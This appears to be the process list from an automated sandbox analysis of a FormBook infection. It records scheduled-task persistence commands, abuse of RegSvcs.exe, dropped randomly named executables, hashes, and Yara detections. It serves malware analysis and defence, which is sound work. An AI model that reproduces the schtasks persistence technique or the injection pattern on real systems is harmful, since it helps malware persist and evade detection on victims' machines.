Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\STiokuWkiGFJ" /XML "C:\Users\user\AppData\Local\Temp\tmp63ED.tmp"
Imagebase:	0x3d0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	10:42:34
Start date:	27/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	10:42:35
Start date:	27/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0xb50000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.2069017164.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.2082286321.0000000003CF0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.2070855400.00000000018F0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	9
Start time:	10:42:36
Start date:	27/11/2024
Path:	C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe
Imagebase:	0x300000
File size:	1'001'992 bytes
MD5 hash:	574C0E8C1D426321E95BD8476334F271
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Target ID:	10
Start time:	10:42:38
Start date:	27/11/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	12
Start time:	10:42:46
Start date:	27/11/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\STiokuWkiGFJ" /XML "C:\Users\user\AppData\Local\Temp\tmp9222.tmp"
Imagebase:	0x3d0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	13
Start time:	10:42:46
Start date:	27/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	14
Start time:	10:42:47
Start date:	27/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0x530000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	17
Start time:	10:42:57
Start date:	27/11/2024
Path:	C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe"
Imagebase:	0x40000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000011.00000002.2943135814.0000000002270000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
Has exited:	false

Target ID:	18
Start time:	10:42:58
Start date:	27/11/2024
Path:	C:\Windows\SysWOW64\runas.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\runas.exe"
Imagebase:	0x670000
File size:	17'920 bytes
MD5 hash:	13646BC81C39130487DA538B2DED5B28
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000012.00000002.2942858170.0000000002910000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000012.00000002.2942772610.00000000028C0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000012.00000002.2941481710.00000000004F0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Has exited:	false

Target ID:	19
Start time:	10:43:11
Start date:	27/11/2024
Path:	C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe"
Imagebase:	0x40000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000013.00000002.2944930407.0000000005280000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Has exited:	false

Target ID:	20
Start time:	10:43:24
Start date:	27/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true